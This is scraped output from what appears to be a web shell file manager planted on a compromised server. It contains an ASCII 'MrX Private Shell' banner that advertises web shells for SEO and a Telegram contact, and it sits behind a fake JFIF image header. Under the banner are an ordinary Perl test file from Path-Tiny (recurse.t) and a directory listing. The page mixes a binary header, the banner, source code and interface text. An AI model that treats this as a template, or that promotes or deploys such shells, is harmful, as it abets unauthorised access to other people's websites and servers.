����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use 5.006;
use strict;
use warnings;
use Test::More 0.92;
use File::Temp;
use lib 't/lib';
use TestUtils qw/exception tempd has_symlinks/;
use Path::Tiny;
#--------------------------------------------------------------------------#
subtest 'no symlinks' => sub {
my $wd = tempd;
my @tree = qw(
aaaa.txt
bbbb.txt
cccc/dddd.txt
cccc/eeee/ffff.txt
gggg.txt
);
my @breadth = qw(
aaaa.txt
bbbb.txt
cccc
gggg.txt
cccc/dddd.txt
cccc/eeee
cccc/eeee/ffff.txt
);
path($_)->touchpath for @tree;
subtest 'iterator' => sub {
my $iter = path(".")->iterator( { recurse => 1 } );
my @files;
while ( my $f = $iter->() ) {
push @files, "$f";
}
is_deeply( [ sort @files ], [ sort @breadth ], "Breadth first iteration" )
or diag explain \@files;
};
subtest 'visit' => sub {
my @files;
path(".")->visit( sub { push @files, "$_[0]" }, { recurse => 1 }, );
is_deeply( [ sort @files ], [ sort @breadth ], "Breadth first iteration" )
or diag explain \@files;
};
subtest 'visit state' => sub {
my $result = path(".")->visit( sub { $_[1]->{$_}++ }, { recurse => 1 }, );
is_deeply( [ sort keys %$result ], [ sort @breadth ], "Breadth first iteration" )
or diag explain $result;
};
subtest 'visit abort' => sub {
my $result =
path(".")->visit( sub { return \0 if ++$_[1]->{count} == 2 }, { recurse => 1 } );
is( $result->{count}, 2, "visitor aborted on false scalar ref" );
};
};
subtest 'with symlinks' => sub {
plan skip_all => "No symlink support"
unless has_symlinks();
my $wd = tempd;
my @tree = qw(
aaaa.txt
bbbb.txt
cccc/dddd.txt
cccc/eeee/ffff.txt
gggg.txt
);
my @follow = qw(
aaaa.txt
bbbb.txt
cccc
gggg.txt
pppp
qqqq.txt
cccc/dddd.txt
cccc/eeee
cccc/eeee/ffff.txt
pppp/ffff.txt
);
my @nofollow = qw(
aaaa.txt
bbbb.txt
cccc
gggg.txt
pppp
qqqq.txt
cccc/dddd.txt
cccc/eeee
cccc/eeee/ffff.txt
);
path($_)->touchpath for @tree;
symlink path( 'cccc', 'eeee' ), path('pppp');
symlink path('aaaa.txt'), path('qqqq.txt');
subtest 'no follow' => sub {
# no-follow
subtest 'iterator' => sub {
my $iter = path(".")->iterator( { recurse => 1 } );
my @files;
while ( my $f = $iter->() ) {
push @files, "$f";
}
is_deeply( [ sort @files ], [ sort @nofollow ], "Don't follow symlinks" )
or diag explain \@files;
};
subtest 'visit' => sub {
my @files;
path(".")->visit( sub { push @files, "$_[0]" }, { recurse => 1 }, );
is_deeply( [ sort @files ], [ sort @nofollow ], "Don't follow symlinks" )
or diag explain \@files;
};
};
subtest 'follow' => sub {
subtest 'iterator' => sub {
my $iter = path(".")->iterator( { recurse => 1, follow_symlinks => 1 } );
my @files;
while ( my $f = $iter->() ) {
push @files, "$f";
}
is_deeply( [ sort @files ], [ sort @follow ], "Follow symlinks" )
or diag explain \@files;
};
subtest 'visit' => sub {
my @files;
path(".")
->visit( sub { push @files, "$_[0]" }, { recurse => 1, follow_symlinks => 1 }, );
is_deeply( [ sort @files ], [ sort @follow ], "Follow symlinks" )
or diag explain \@files;
};
};
};
done_testing;
#
# This file is part of Path-Tiny
#
# This software is Copyright (c) 2014 by David Golden.
#
# This is free software, licensed under:
#
# The Apache License, Version 2.0, January 2004
#
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| data | Folder | 0755 |
|
|
| fakelib | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| 00-report-prereqs.dd | File | 4.52 KB | 0644 |
|
| 00-report-prereqs.t | File | 5.88 KB | 0644 |
|
| README | File | 214 B | 0644 |
|
| basename.t | File | 880 B | 0644 |
|
| basic.t | File | 9.06 KB | 0644 |
|
| children.t | File | 1.24 KB | 0644 |
|
| chmod.t | File | 1020 B | 0644 |
|
| digest.t | File | 1.25 KB | 0644 |
|
| exception.t | File | 1.26 KB | 0644 |
|
| exports.t | File | 674 B | 0644 |
|
| filesystem.t | File | 14.21 KB | 0644 |
|
| has_same_bytes.t | File | 2.04 KB | 0644 |
|
| input_output.t | File | 18.31 KB | 0644 |
|
| input_output_no_PU_UU.t | File | 579 B | 0644 |
|
| input_output_no_UU.t | File | 566 B | 0644 |
|
| locking.t | File | 1.37 KB | 0644 |
|
| mkdir.t | File | 1.52 KB | 0644 |
|
| mkpath.t | File | 1.46 KB | 0644 |
|
| mutable_tree_while_iterating.t | File | 1.43 KB | 0644 |
|
| normalize.t | File | 898 B | 0644 |
|
| overloading.t | File | 534 B | 0644 |
|
| parent.t | File | 3.06 KB | 0644 |
|
| recurse.t | File | 3.89 KB | 0644 |
|
| rel-abs.t | File | 7.88 KB | 0644 |
|
| sig_die.t | File | 533 B | 0644 |
|
| size.t | File | 4.76 KB | 0644 |
|
| subsumes.t | File | 3.16 KB | 0644 |
|
| symlinks.t | File | 1.51 KB | 0644 |
|
| temp.t | File | 4.99 KB | 0644 |
|
| visit.t | File | 447 B | 0644 |
|
| zz-atomic.t | File | 922 B | 0644 |
|
| zzz-spec.t | File | 6.62 KB | 0644 |
|